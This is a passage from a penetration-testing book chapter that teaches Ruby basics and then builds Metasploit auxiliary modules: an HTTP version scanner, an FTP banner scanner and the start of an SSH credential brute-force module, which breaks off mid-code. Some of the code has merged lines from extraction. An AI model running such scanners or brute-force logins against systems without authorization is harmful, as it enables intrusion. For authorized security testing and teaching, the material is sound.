Chapter 2: Reinventing Metasploit

We have covered the basics of Metasploit, so now we can move further into the underlying coding part of Metasploit Framework. We will start with the basics of Ruby programming to understand various syntaxes and their semantics. This chapter will make it easy for you to write Metasploit modules. In this chapter, we will see how we can design and fabricate various Metasploit modules with the functionality of our choice. We will also look at how we can create custom post-exploitation modules, which will help us gain better control of the exploited machine. Consider a scenario where the number of systems under the scope of the penetration tests is massive, and we crave a post-exploitation feature such as downloading a particular file from all the exploited systems. Manually, downloading a specific file from each system is not only time-consuming but inefficient. Therefore, in a scenario like this, we can create a custom post-exploitation script that will automatically download the file from all of the compromised systems.

This chapter kicks off with the basics of Ruby programming in the context of Metasploit and ends with developing various Metasploit modules. In this chapter, we will cover the following topics:

  • The basics of Ruby programming in the context of Metasploit modules
  • Understanding Metasploit modules
  • Developing an auxiliary – the FTP scanner module
  • Developing an auxiliary – the SSH brute force module
  • Developing post-exploitation modules
  • Performing post-exploitation with RailGun

Now, let's understand the basics of Ruby programming and gather the required essentials we need to code Metasploit modules.

Before we delve deeper into coding Metasploit modules, we must have knowledge of the core features of Ruby programming that are required to design these modules. Why do we need to learn Ruby to develop Metasploit modules? The following key points will help us understand the answer to this question:

  • First and foremost, Metasploit is developed in Ruby.
  • Constructing an automated class for reusable code is a feature of the Ruby language that matches the needs of Metasploit.
  • Ruby is an object-oriented style of programming that again matches the needs of Metasploit.

Technical requirements

In this chapter, we make use of the following software and operating systems:

Ruby – the heart of Metasploit

Ruby is indeed the heart of the Metasploit Framework. However, what exactly is Ruby? According to the official website, Ruby is a simple and powerful programming language and was designed by Yokihiru Matsumoto in 1995. It is further defined as a dynamic, reflective, and general-purpose, object-oriented programming language with functions similar to Perl.

Important note

You can download Ruby for Windows/Linux from https://rubyinstaller.org/downloads/.

You can refer to an excellent resource for learning Ruby practically at http://tryruby.org/levels/1/challenges/0.

Creating your first Ruby program

Ruby is an easy-to-learn programming language. Now, let's start with the basics of Ruby. Remember that Ruby is a broad programming language, and covering all of the capabilities of Ruby would push us beyond the scope of this book. Therefore, we will only stick to the essentials that are required in designing Metasploit modules.

Interacting with Ruby Shell

Ruby offers an interactive shell, and working with it will help us understand the basics. So, let's get started. Open the CMD/Terminal and type irb to launch the Ruby interactive shell.

Let's input something into the Ruby shell and see what happens; suppose I type in the number 2, as follows:

irb(main):001:0> 2

=> 2

The shell returns the value. Let's give another input, such as one with the addition operator, as follows:

irb(main):002:0> 2+3

=> 5

We can see that if we input numbers in an expression style, the shell returns the result of the expression.

Let's perform some functions on the string, such as storing the value of the string in a variable, as follows:

irb(main):005:0> a= "nipun"

=> "nipun"

irb(main):006:0> b= "loves Metasploit"

=> "loves metasploit"

After assigning values to both variables, a and b, let's see what happens when we type a and a+b on the console:

irb(main):014:0> a

=> "nipun"

irb(main):015:0> a+b

=> "nipun loves metasploit"

We can see that when we typed in a as the input, it reflected the value stored in the variable named a. Similarly, a+b gave us a and b concatenated.

Defining methods in the shell

A method or function is a set of statements that will execute when we make a call to it. We can declare methods easily in Ruby's interactive shell, or we can declare them using scripts. Knowledge of methods is important when working with Metasploit modules. Let's see the syntax:

def method_name [( [arg [= default]]...[, * arg [, &expr ]])]

expr

end

To define a method, we use def followed by the method name, with arguments and expressions in parentheses. We also use an end statement, following all of the expressions to set an end to the method's definition. Here, arg refers to the arguments that a method receives. Also, expr refers to the expressions that a method receives or calculates inline. Let's have a look at an example:

irb(main):002:0> def xorops(a,b)

irb(main):003:1> res = a ^ b

irb(main):004:1> return res

irb(main):005:1> end

=> :xorops

We defined a method named xorops, which receives two arguments named a and b. Furthermore, we used XOR on the received arguments and stored the results in a new variable called res. Finally, we returned the result using the return statement:

irb(main):006:0> xorops(90,147)

=> 201

We can see our function printing out the correct value by performing the XOR operation. Ruby offers two different functions to print the output: puts and print. When it comes to the Metasploit Framework, the print_line function is primarily used. However, symbolizing success, status, and errors can be done using the print_good, print_status, and print_error statements, respectively. Let's look at some examples here:

print_good("Example of Print Good")

print_status("Example of Print Status")

print_error("Example of Print Error")

These print methods, when used with Metasploit modules, will produce the following output, which depicts the green + symbol for good, the blue * for denoting status messages, and the red - symbol representing errors:

[+] Example of Print Good

[*] Example of Print Status

[-] Example of Print Error

We will see the workings of various print statement types in the latter half of this chapter.

Variables and data types in Ruby

A variable is a placeholder for values that can change at any given time. In Ruby, we declare a variable only when required. Ruby supports numerous variable data types, but we will discuss the ones relevant to Metasploit. Let's see what they are.

Working with strings

Strings are objects that represent a stream or sequence of characters. In Ruby, we can assign a string value to a variable with ease, as seen in the previous example. By merely defining the value in quotation marks or a single quotation mark, we can assign a value to a string.

It is recommended to use double quotation marks because if single quotations are used, it can create problems. Let's have a look at the problems that may arise:

irb(main):005:0> name = 'Msf Book'

=> "Msf Book"

irb(main):006:0> name = 'Msf's Book'

irb(main):007:0' '

We can see that when we used a single quotation mark, it worked. However, when we tried to put Msf's instead of the value Msf, an error occurred. This is because it read the single quotation mark in the Msf's string as the end of single quotations, which is not the case; this situation caused a syntax-based error.

Concatenating strings

We will need string concatenation capabilities throughout our journey in dealing with Metasploit modules. We will have multiple instances where we need to concatenate two different results into a single string. We can perform string concatenation using the + operator. However, we can elongate a variable by appending data to it using the << operator:

irb(main):007:0> a = "Nipun"

=> "Nipun"

irb(main):008:0> a << " loves"

=> "Nipun loves"

irb(main):009:0> a << " Metasploit"

=> "Nipun loves Metasploit"

irb(main):010:0> a

=> "Nipun loves Metasploit"

irb(main):011:0> b = " and plays counter strike"

=> " and plays counter strike"

irb(main):012:0> a+b

=> "Nipun loves Metasploit and plays counter strike"

We can see that we started by assigning the value "Nipun" to the variable a, and then appended " loves" and " Metasploit" to it using the << operator. We can see that we used another variable, b, and stored the " and plays counter strike" value in it. Next, we concatenated both of the values using the + operator and got the complete output as "Nipun loves Metasploit and plays counter strike".

The substring function

It's quite easy to find the substring of a string in Ruby. We just need to specify the start index and length along the string, as shown in the following example:

irb(main):001:0> a= "12345678"

=> "12345678"

irb(main):002:0> a[0,2]

=> "12"

irb(main):003:0> a[2,2]

=> "34"

Let's now have a look at the split function.

The split function

We can split the value of a string into an array of variables using the split function. Let's have a look at a quick example that demonstrates this:

irb(main):001:0> a = "mastering,metasploit"

=> "mastering,metasploit"

irb(main):002:0> b = a.split(",")

=> ["mastering", "metasploit"]

irb(main):003:0> b[0]

=> "mastering"

irb(main):004:0> b[1]

=> "metasploit"

We can see that we have split the value of a string from the "," position into a new array, b. The "mastering,metasploit" string now forms the 0th and 1st element of array b, containing the values "mastering" and "metasploit", respectively.

Numbers and conversions in Ruby

We can use numbers directly in arithmetic operations. However, remember to convert a string into an integer when working on user input using the .to_i function. On the other hand, we can transform an integer into a string using the .to_s function.

Let's have a look at some quick examples, and their output:

irb(main):006:0> b="55"

=> "55"

irb(main):007:0> b+10

TypeError: no implicit conversion of Fixnum into String

from (irb):7:in `+'

from (irb):7

from C:/Ruby200/bin/irb:12:in `<main>'

irb(main):008:0> b.to_i+10

=> 65

irb(main):009:0> a=10

=> 10

irb(main):010:0> b="hello"

=> "hello"

irb(main):011:0> a+b

TypeError: String can't be coerced into Fixnum

from (irb):11:in `+'

from (irb):11

from C:/Ruby200/bin/irb:12:in `<main>'

irb(main):012:0> a.to_s+b

=> "10hello"

We can see that when we assigned a value to b in quotation marks, it was considered as a string, and an error was generated while performing the addition operation. Nevertheless, as soon as we used the to_i function, it converted the value from a string into an integer variable, and an addition was performed successfully. Similarly, regarding strings, when we tried to concatenate an integer with a string, an error showed up. However, after the conversion, it worked perfectly fine.

Conversions in Ruby

While working with exploits and modules, we will require tons of conversion operations. Let's see some of the conversions we will use in the upcoming sections.

Hexadecimal to decimal conversion

It's quite easy to convert a value to decimal from hexadecimal in Ruby using the inbuilt hex function. Let's look at an example:

irb(main):021:0> a= "10"

=> "10"

irb(main):022:0> a.hex

=> 16

We can see we got the value 16 for a hexadecimal value of 10.

Decimal to hexadecimal conversion

The opposite of the preceding function can be performed with the to_s function, as follows:

irb(main):028:0> 16.to_s(16)

=> "10"

Ranges in Ruby

Ranges are important aspects and are widely used in auxiliary modules such as scanners and fuzzers in Metasploit.

Let's define a range, and look at the various operations we can perform on this data type:

irb(main):028:0> zero_to_nine= 0..9

=> 0..9

irb(main):031:0> zero_to_nine.include?(4)

=> true

irb(main):032:0> zero_to_nine.include?(11)

=> false

irb(main):002:0> zero_to_nine.each{|zero_to_nine| print(zero_to_nine)} 0123456789=> 0..9

irb(main):003:0> zero_to_nine.min

=> 0

irb(main):004:0> zero_to_nine.max

=> 9

We can see that a range offers various operations, such as searching, finding the minimum and maximum values, and displaying all the data in a range. Here, the include? function checks whether the value is contained in the range or not. In addition, the min and max functions display the lowest and highest values in a range.

Arrays in Ruby

We can simply define arrays as a list of various values. Let's have a look at an example:

irb(main):005:0> name = ["nipun","metasploit"]

=> ["nipun", "metasploit"]

irb(main):006:0> name[0]

=> "nipun"

irb(main):007:0> name[1]

=> "metasploit"

Up to this point, we have covered all the required variables and data types that we will need for writing Metasploit modules.

Important note

For more information on variables and data types, refer to the following link: https://www.tutorialspoint.com/ruby/index.htm

Refer to a quick cheat sheet for using Ruby programming effectively at the following link: https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf

Are you transitioning from another programming language to Ruby? Refer to a helpful guide here: http://hyperpolyglot.org/scripting

Methods in Ruby

A method is another name for a function. Programmers with a different background than Ruby might use these terms interchangeably. A method is a subroutine that performs a specific operation. The use of methods implements the reuse of code and decreases the length of programs significantly. Defining a method is easy, and their definition starts with the def keyword and ends with the end statement. Let's consider a simple program to understand how they work, for example, printing out the square of 50:

def print_data(par1)

square = par1*par1

return square

end

answer = print_data(50)

print(answer)

The print_data method receives the parameter sent from the main function, multiplies it with itself, and sends it back using the return statement. The program saves this returned value in a variable named answer and prints the value. We will use methods heavily in the latter part of this chapter, as well as in the next few chapters.

Decision-making operators

Decision-making is also a simple concept, as with any other programming language. Let's have a look at an example:

irb(main):001:0> 1 > 2

=> false

Let's also consider the case of string data:

irb(main):005:0> "Nipun" == "nipun"

=> false

irb(main):006:0> "Nipun" == "Nipun"

=> true

Let's consider a simple program with decision-making operators:

def find_match(a)

if a =~ /Metasploit/

return true

else

return false end

end

# Main Starts Here

a = "1238924983Metasploitduidisdid"

bool_b=find_match(a)

print bool_b.to_s

In the preceding program, we used the word "Metasploit", which sits right in the middle of junk data and is assigned to the a variable. Next, we send this data to the find_match() method, where it matches the /Metasploit/ regex. It returns a true condition if the a variable contains the word "Metasploit", otherwise a false value is assigned to the bool_b variable.

Running the preceding method will produce a valid condition based on the decision-making operator, =~, which matches a string based on regular expressions.

The output of the preceding program will be somewhat similar to the following output when executed in a Windows-based environment:

C:Ruby23-x64in>ruby.exe a.rb

true

Loops in Ruby

Iterative statements are termed as loops; as with any other programming language, loops also exist in Ruby programming. Let's use them and see how their syntax differs from other languages:

def forl(a) for i in 0..a

print("Number #{i}n")

end

end forl(10)

The preceding code iterates the loop from 0 to 10, as defined in the range, and consequently prints out the values. Here, we have used #{i} to print the value of the i variable in the print statement. The n keyword specifies a new line. Therefore, every time a variable is printed, it will occupy a new line.

Iterating loops through each loop is also a common practice and is widely used in Metasploit modules. Let's see an example:

def each_example(a)

a.each do |i|

print i.to_s + " "

end

end

# Main Starts Here

a = Array.new(5)

a=[10,20,30,40,50]

each_example(a)

In the preceding code, we defined a method that accepts an array, a, and prints all its elements using each loop. Performing a loop using each method will store elements of array a into i temporarily until overwritten in the next loop. The operator in the print statement denotes a tab.

Tip

Refer to http://www.tutorialspoint.com/ruby/ruby_loops.htm for more on loops.

Regular expressions

Regular expressions are used to match a string or its number of occurrences in a given set of strings or a sentence. The concept of regular expressions is critical when it comes to Metasploit. We use regular expressions in most cases while writing fuzzers or scanners, analyzing the response from a given port, and so on.

Let's have a look at an example of a program that demonstrates the usage of regular expressions.

Consider a scenario where we have a variable, n, with the value Hello world, and we need to design regular expressions for it. Let's have a look at the following code snippet:

irb(main):001:0> n = "Hello world"

=> "Hello world"

irb(main):004:0> r = /world/

=> /world/

irb(main):005:0> r.match n

=> #<MatchData "world">

irb(main):006:0> n =~ r

=> 6

We have created another variable called r and stored our regular expression in it, namely, /world/. In the next line, we match the regular expression with the string using the match object of the MatchData class. The shell responds with a message, MatchData "world", which denotes a successful match. Next, we will use another approach of matching a string using the =~ operator, which returns the exact location of the match. Let's see one other example of doing this:

irb(main):007:0> r = /^world/

=> /^world/

irb(main):008:0> n =~ r

=> nil

irb(main):009:0> r = /^Hello/

=> /^Hello/

irb(main):010:0> n =~ r

=> 0

irb(main):014:0> r= /world$/

=> /world$/

irb(main):015:0> n=~ r

=> 6

Let's assign a new value to r, namely, /^world/; here, the ^ operator tells the interpreter to match the string from the start. We get nil as an output if it is not matched. We modify this expression to start with the word Hello; this time, it gives us back the location 0, which denotes a match as it starts from the very beginning. Next, we modify our regular expression to /world$/, which denotes that we need to match the word world from the end so that a successful match is made.

Important note

For further information on regular expressions in Ruby, refer to http://www.tutorialspoint.com/ruby/ruby_regular_expressions.htm.

Refer to a quick cheat sheet for using Ruby programming efficiently at the following links: https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf and http://hyperpolyglot.org/scripting.

Refer to http://rubular.com/ for more on building correct regular expressions.

Object-oriented programming with Ruby

Objects are basic blocks of OOP in Ruby programming and are used heavily in Metasploit. Let's learn some basic concepts of OOP in Ruby before proceeding further. Consider the following example:

#!/usr/bin/ruby

class Example

  

end

a = Example.new

puts a

In the preceding code, we create a simple class called Example that simply ends at the end keyword. We call this code the class definition. A class is basically a template for an object. Next, we define a new instance of the class using Example.new, using the new method. We store the object returned on the creation of the new instance in variable a. Finally, we print a to get a basic description of the object. However, whenever we print an object, we are basically initiating a call to its to_s method. Let's run this program and analyze the output by issuing ruby example1.rb as follows:

kali@kali:~$ ruby example1.rb

#<Example:0x0000561cdca88140>

We see that on printing the object, we get the class name. Classes have constructors, which are special methods that are invoked automatically when an object of a class is created. However, they don't return any values and are used to initialize variables and other objects. Modifying our previous program to make use of constructors, we will be adding the initialize method, which is the default constructor in Ruby, as follows:

#!/usr/bin/ruby

class Example

        def initialize

        puts "I run Automatically"

        end

end

a = Example.new

puts a

Running the preceding code, we get the following output:

kali@kali:~$ ruby example2.rb

I run Automatically

#<Example:0x000056122ca83bf0>

We see that the constructor executed automatically on initializing an object. In cases where we don't require the constructor to automatically execute, we can use the allocate method instead of new in the program. Let's see how we can make use of the constructor to initialize data members of a class through the following example:

#!/usr/bin/ruby

class Example

        def initialize val

        @val = val

        end

        def fetchval

        @val

        end

end

a1 = Example.new "Mastering"

a2 = Example.new "Metasploit"

puts a1.fetchval

puts a2.fetchval

In the constructor of the Example class, we set a member field to a value named val. The val parameter is passed to the constructor at creation with "Mastering" and "Metasploit" respectively in the case of objects a1 and a2. @val is an instance variable. Instance variables start with the @ character in Ruby. We are using the fetchval method to return values from member fields since member fields are accessible only through methods. Finally, we are printing member fields using the fetchval method on each of the objects. On executing the preceding code, we get the following output:

kali@kali:~$ ruby example3.rb

Mastering

Metasploit

Let's see another example, a slightly more complex one than the previous one, demonstrating constructors, as follows:

#!/usr/bin/ruby

class Example

        def initialize item="Not Applicable" , price=0

        @item = item

        @price = price

        end

        def to_s

        "Item Name: #{@item} , Price:#{@price}"

        end

end

a1 = Example.new

a2 = Example.new "Cake" , 100

a3 = Example.new "Rolls", 10

a4 = Example.new "Choclate"

puts a1

puts a2

puts a3

puts a4

We start by defining an initialize method, which is the default constructor in Ruby, and assigning it default values for item and price. In the initialize constructor, we simply assign the passed values to the instance variables. Next, we manually define the to_s method by printing the values in a certain format, which, as discussed earlier, gets automatically called when we try printing an object. Finally, we simply pass values while defining objects, which, in the first instance, would print default values as no other values are being passed and will print a default price value for the fourth object as we did not pass the price. Let's see what output is generated when we execute this program:

kali@kali:~$ ruby example5.rb

Item Name: Not Applicable , Price:0

Item Name: Cake , Price:100

Item Name: Rolls , Price:10

Item Name: Choclate , Price:0

Inheritance is a mechanism to develop new classes using the existing one, promoting code reuse and complexity reduction. The newly formed classes are called derived classes and the ones from which they are inherited are called base classes. Let's see a simple example on inheritance, as follows:

#!/usr/bin/ruby

class BaseClass

    def just_print a = "Third", b = "Fourth"

        puts "Parent class, 1st Argument: #{a}, 2nd Argument: #{b}"

    end

end

class DerivedClass < BaseClass

    def just_print a, b

        puts "Derived class, 1st Argument: #{a}, 2nd Argument: #{b}"

        #Passes both Arguments to the Base Class  

        super

        #Passes only first argument to the Base Class

        super a

        #Passes both Arguments to the Base Class

        super a, b

        #Passes Nothing to the Base Class

        super()

        #Just Prints the Value

    end

end

obj = DerivedClass.new

obj.just_print("First", "Second")

We have two classes in the preceding code, that is, BaseClass and DerivedClass. DerivedClass inherits Baseclass and both classes have a method called just_print. We simply initialize an obj object for the derived class and pass the values "First" and "Second" to it by calling the just_print method. This will print the values. However, inheritance allows us to pass the values to baseclass as well using the super method as shown previously in the code. If we declare super, the function, by default, passes both the arguments to the just_print function of Baseclass instead of processing it itself; if we type super a, only the first value is passed to Baseclass and since the default value is already set to "Fourth" in the derived class, it will be printed as the second argument. We can similarly pass both values using super a, b and if we don't want to pass any values to Baseclass, we can use super() instead of super. Let's see the output of the program, as follows:

kali@kali:~$ ruby example6.rb

Derived class, 1st Argument: First, 2nd Argument: Second

Parent class, 1st Argument: First, 2nd Argument: Second

Parent class, 1st Argument: First, 2nd Argument: Fourth

Parent class, 1st Argument: First, 2nd Argument: Second

Parent class, 1st Argument: Third, 2nd Argument: Fourth

We see that we made use of inheritance and the super keyword to work with both classes using the object of the derived class itself.

Wrapping up with Ruby basics

Hello! Still awake? It was a tiring session, right? We have just covered the basic functionalities of Ruby that are required to design Metasploit modules. Ruby is quite vast, and it is not possible to cover all of its aspects here. However, refer to some of the excellent resources on Ruby programming from the links mentioned in the note section that follows.

Important Note

An excellent resource for Ruby tutorials is available at http://tutorialspoint.com/ruby/.

A quick cheat sheet for using Ruby programming efficiently is available at https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf and http://hyperpolyglot.org/scripting.

More information on Inheritance in Ruby is available at https://medium.com/launch-school/the-basics-of-oop-ruby-26eaa97d2e98 and https://www.geeksforgeeks.org/ruby-tutorial/?ref=leftbar-rightbar.

Understanding Metasploit modules

Let's dig deeper into the process of writing a module. Metasploit has various modules, such as payloads, encoders, exploits, NOP generators, auxiliaries, and the latest additions, which are the evasion modules. In this section, we will cover the essentials of developing a module; then, we will look at how we can create our custom modules. We will discuss the development of auxiliary and post-exploitation modules. Additionally, we will cover core exploit modules in the next chapter. However, for this chapter, let's examine the essentials of module building in detail.

Metasploit module building in a nutshell

Before diving deep into building modules, let's understand how components are arranged in the Metasploit Framework, and what they do.

The architecture of the Metasploit Framework

Metasploit contains various components, such as necessary libraries, modules, plugins, and tools. A diagrammatic view of the structure of Metasploit is as follows:

Figure 2.1 – Metasploit architecture

Let's see what these components are and how they work. It is best to start with the libraries that act as the heart of Metasploit. We can see the core libraries in the following table:

We have many types of modules in Metasploit, and they differ in functionalities. We have payload modules for creating access channels to exploited systems. We have auxiliary modules to carry out operations such as information gathering, fingerprinting, fuzzing an application, and logging in to various services. Let's examine the basic functionality of these modules, as shown in the following table:

Understanding the file structure

The file structure in Metasploit is laid out in the scheme shown in the following screenshot:

Figure 2.2 – Metasploit file structure

The preceding directory can be referred to through the /opt/metasploit-framework/embedded/framework path. We will cover the most relevant directories, which will aid us in building modules for Metasploit, in the following table:

The libraries layout

Metasploit modules are the buildup of various functions contained in different libraries, and general Ruby programming. Now, to use these functions, we first need to understand what they are. How can we trigger these functions? What number of parameters do we need to pass? Moreover, what will these functions return?

Let's have a look at how these libraries are organized; this is illustrated in the following screenshot:

Figure 2.3 – Contents of the /lib directory

As we can see in the preceding screenshot, we have the critical rex libraries along with all other essential ones in the /lib directory. The /base and /core libraries are also a crucial set of libraries and are located under the /msf directory:

Figure 2.4 – Library content for the /msf directory

Now, under the /msf/core libraries folder, we have libraries for all the modules we used earlier in the first chapter; this is illustrated in the following screenshot:

Figure 2.5 – Libraries in the msf/core directory

These library files provide the core for all modules. However, for different operations and functionalities, we can refer to any library we want. Some of the most widely used library files in most of the Metasploit modules are located in the core/exploits/ directory, as shown in the following screenshot:

Figure 2.6 – Libraries in the core/exploits directory

As we can see, it's easy to find all the relevant libraries for various types of modules in the core/ directory. Currently, we have core libraries for exploits, payload, post-exploitation, encoders, and various other modules.

Important note

Visit the Metasploit Git repository at https://github.com/rapid7/metasploit-framework to access the complete source code.

Working with existing Metasploit modules

The best way to start writing modules is to delve deeper into the existing Metasploit modules and see how they work internally.

The format of a Metasploit module

The skeleton for Metasploit auxiliary modules is reasonably straightforward. We can see the universal header section in the code shown here:

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

def initialize(info = {})

super(update_info(info,

'Name' => 'Module name',

'Description' => %q{

Say something that the user might want to know.

},

'Author' => [ 'Name' ],

'License' => MSF_LICENSE

))

end

def run

# Main function end

end

A module starts by including the necessary libraries using the require keyword, which in the preceding code is followed by the msf/core libraries. Thus, it includes the core libraries from the /msf directory.

The next major thing is to define the class type, that is, to specify the kind of module we are going to create. We can see that we have set MSF::Auxiliary for the same purpose.

In the initialize method, which is the default constructor in Ruby, we define the Name, Description, Author, License, CVE details, and so on. This method covers all the relevant information for a particular module: Name generally contains the software name that is being targeted; Description includes the excerpt on the explanation of the vulnerability; Author is the name of the person who develops the module; and License is MSF_LICENSE, as stated in the code example listed previously. The auxiliary module's primary method is the run method. Hence, all the operations should be performed inside it unless and until you have plenty of other methods. However, the execution will still begin with the run method.

Disassembling the existing HTTP server scanner module

Let's work with a simple module for an HTTP version scanner, and see how it works. The path to this Metasploit module is /modules/auxiliary/scanner/http/http_version.rb.

Let's examine this module systematically:

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'rex/proto/http'

class MetasploitModule < Msf::Auxiliary

Let's discuss how things are arranged here. The copyright lines, starting with the # symbol, are the comments and are included in all Metasploit modules. The require 'rex/proto/http' statement tasks the interpreter to include a path to all the HTTP protocol methods from the rex library. Therefore, the path to all the files from the /lib/rex/proto/http directory is now available to the module, as shown in the following screenshot:

Figure 2.7 – Library files in the /lib/rex/proto/http directory

All these files contain a variety of HTTP methods, which include functions to set up a connection, the GET and POST request, response handling, and so on.

In the next line, Msf::Auxiliary defines the code as an auxiliary type module. Let's continue with the code, as follows:

# Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer

# Scanner mixin should be near last include Msf::Auxiliary::Scanner

The preceding section includes all the necessary library files that contain methods used in the modules. Let's list the path for these included libraries, as follows:

Let's look at the next piece of code:

def initialize super(

'Name' => 'HTTP Version Detection',

'Description' => 'Display version information about each system', 'Author' => 'hdm',

'License' => MSF_LICENSE

)

register_wmap_options({ 'OrderID' => 0, 'Require' => {},

})

end

This part of the module defines the initialize method, which initializes the basic parameters such as Name, Author, Description, and License for this module and initializes the WMAP parameters as well. Now, let's have a look at the last section of the code:

# Fingerprint a single host def run_host(ip)

begin

connect

res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_good("#{ip}:#{rport} #{fp}") if fp

report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)

rescue ::Timeout::Error, ::Errno::EPIPE ensure

disconnect

end

end

end

The function here is the meat of the scanner.

Libraries and functions

Let's see some essential methods from the libraries that are used in this module, as follows:

Let's now understand the module. Here, we have a method named run_host with the IP as the parameter to establish a connection to the required host. The run_host method is referred from the /lib/msf/core/auxiliary/scanner.rb library file. This method will run once for each host, as shown in the following screenshot:

Figure 2.8 – The scanner.rb library having the run_host method

Next, we have the begin keyword, which denotes the beginning of the code block. In the next statement, we have the connect method, which establishes the HTTP connection to the server, as discussed in the table previously.

Next, we define a variable named res, which will store the response. We will use the send_raw_request method from the /core/exploit/http/client.rb file with the parameter URI as /, and the method for the request as GET:

Figure 2.9 – The /core/exploit/http/client.rb library having the send_raw_request method

The preceding method will help you to connect to the server, create a request, send a request, and read the response. We save the response in the res variable.

This method passes all the parameters to the request_raw method from the /rex/proto/http/client.rb file, where all these parameters are checked. We have plenty of parameters that can be set in the list of parameters. Let's see what they are:

Figure 2.10 – The /rex/proto/http/client.rb library having the raw_request method

The res variable is a variable that stores the results. In the next statement, the http_fingerprint method from the /lib/msf/core/exploit/http/client.rb file is used for analyzing the data in the fp variable. This method will record and filter out information such as Set- cookie, Powered-by, and other such headers. This method requires an HTTP response packet to make the calculations. So, we will supply response => res as a parameter, which denotes that fingerprinting should occur on the data received from the request generated previously using res. However, if this parameter is not given, it will redo everything and get the data again from the source. The next statement prints out a good informational message with details such as IP, port, and the service name, but only when the fp variable is set. The report_service method stores the information to the database. It will save the target's IP address, port number, service type (HTTP or HTTPS, based on the service), and the service information. The last line, rescue::Timeout::Error, ::Errno::EPIPE, will handle exceptions if the module times out.

Now, let's run this module and see what the output is:

Figure 2.11 – Using the http_version metasploit module

So far, we have seen how a module works. We can see that on a successful fingerprint of the application, the information is posted on the console and saved in the database. Additionally, on a timeout, the module doesn't crash and is handled well. Let's take this a step further and try writing our custom module.

Developing an auxiliary – the FTP scanner module

Let's try and build a simple module. We will write a simple FTP fingerprinting module and see how things work. Let's examine the code for the FTP module:

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::Ftp

include Msf::Auxiliary::Scanner

include Msf::Auxiliary::Report

def initialize super(

'Name' => 'FTP Version Scanner Customized Module',

'Description' => 'Detect FTP Version from the Target',

'Author' => 'Nipun Jaswal',

'License' => MSF_LICENSE

)

register_options( [

Opt::RPORT(21),

])

end

We start our code by defining the type of Metasploit module we are going to build. In this case, we are writing an auxiliary module that is very similar to the one we previously worked on. Next, we define the library files we need to include from the core library set, as follows:

We define the information of the module with attributes such as name, description, author name, and license in the initialize method. We also define what options are required for the module to work. For example, here, we assign RPORT to port 21, which is the default port for FTP. Let's continue with the remaining part of the module:

def run_host(target_host) connect(true, false)

if(banner)

print_status("#{rhost} is running #{banner}")

report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner)

end disconnect

end

end

Libraries and functions

Let's see some important functions from the libraries that are used in this module, as follows:

We define the run_host method, which serves as the primary method. The connect function will be responsible for initializing a connection to the host. However, we supply two parameters to the connect function, which are true and false. The true parameter defines the use of global parameters, whereas false turns off the verbose capabilities of the module. The beauty of the connect function lies in its operation of connecting to the target and recording the banner of the FTP service in the parameter named banner automatically, as shown in the following screenshot:

Figure 2.12 – The /lib/msf/core/exploit/ftp.rb library containing the connect method

Now, we know that the result is stored in the banner attribute. Therefore, we print out the banner at the end. Next, we use the report_service function so that the scan data gets saved to the database for later use or advanced reporting. The method is located in the report.rb file in the auxiliary library section. The code for report_service looks similar to the following screenshot:

Figure 2.13 – The /lib/msf/core/auxiliary/report.rb library containing the report_service method

We can see that the provided parameters to the report_service method are passed to the database using another method called framework.db.report_service from /lib/msf/core/db_manager/service.rb. After performing all the necessary operations, we just disconnect the connection with the target.

This was an easy module, and I recommend that you try building simple scanners and other modules like these.

Using msftidy

Nevertheless, before we run this module, let's check whether the module we just built is correct with regards to its syntax. We can do this by passing the module from an inbuilt Metasploit tool named msftidy, as shown in the following screenshot:

Figure 2.14 – Using the msftidy script with Ruby

We will get an info message indicating No CVE references found, which is frankly a go-ahead since this is our custom module and doesn't require any CVE references. Now, let's run this module and see what we gather:

Figure 2.15 – Running the custom coded FTP scanner module

We can see that the module ran successfully, and it has the banner of the service running on port 21, which is 220-FileZilla Server 0.9.60 beta. The report_service function in the previous module stores data to the services section, which can be seen by running the services command, as shown in the preceding screenshot.

Tip

For further reading on the acceptance of modules in the Metasploit project, refer to https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements.

Msftidy won't run unless you install Ruby in Ubuntu. You can simply type apt install ruby to use the msftidy tool.

Developing an auxiliary—the SSH brute force module

For checking weak login credentials, we need to perform an authentication brute force attack. The agenda of such tests is not only to test an application against weak credentials but to ensure proper authorization and access controls as well. These tests ensure that attackers cannot simply bypass the security paradigm by trying a non-exhaustive brute force attack, and are locked out after a certain number of random guesses.

Designing the next module for authentication testing on the SSH service, we will look at how easy it is to design authentication-based checks in Metasploit, and perform tests that attack authentication. Let's now jump into the coding part and begin designing a module, as follows:

require 'metasploit/framework/credential_collection'

require 'metasploit/framework/login_scanner/ssh'

class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Scanner

include Msf::Auxiliary::Report

include Msf::Auxiliary::AuthBrute

def initialize super(

'Name' => 'SSH Scanner',

'Description' => %q{My Module.},

'Author' => 'Nipun Jaswal',

'License' => MSF_LICENSE

)

register_options([

Opt::RPORT(22)

])

end

In the previous examples, we have already seen the importance of using Msf::Auxiliary::Scanner and Msf::Auxiliary::Report. Let's see the other included libraries and understand their usage in the following table:

In the preceding code, we also included two files, which are metasploit/framework/login_scanner/ssh and metasploit/framework/credential_collection. The metasploit/framework/login_scanner/ssh file includes the SSH login scanner library that eliminates all manual operations and provides an underlying API to SSH scanning.

The metasploit/framework/credential_collection file helps to create multiple credentials based on user inputs from datastore. Next, we simply define the type of the module we are building.

In the initialize section, we define the basic information for this module. Let's see the next section:

def run_host(ip)

cred_collection = Metasploit::Framework::CredentialCollection.new(

blank_passwords: datastore['BLANK_PASSWORDS'],

pass_file: datastore['PASS_FILE'],

password: datastore['PASSWORD'],

user_file: datastore['USER_FILE'],

userpass_file: datastore['USERPASS_FILE'],

username: datastore['USERNAME'],

user_as_pass: datastore['USER_AS_PASS'],)

scanner = Metasploit::Framework::LoginScanner::SSH.new(

host: ip,

port: datastore['RPORT'],

cred_details: cred_collection,

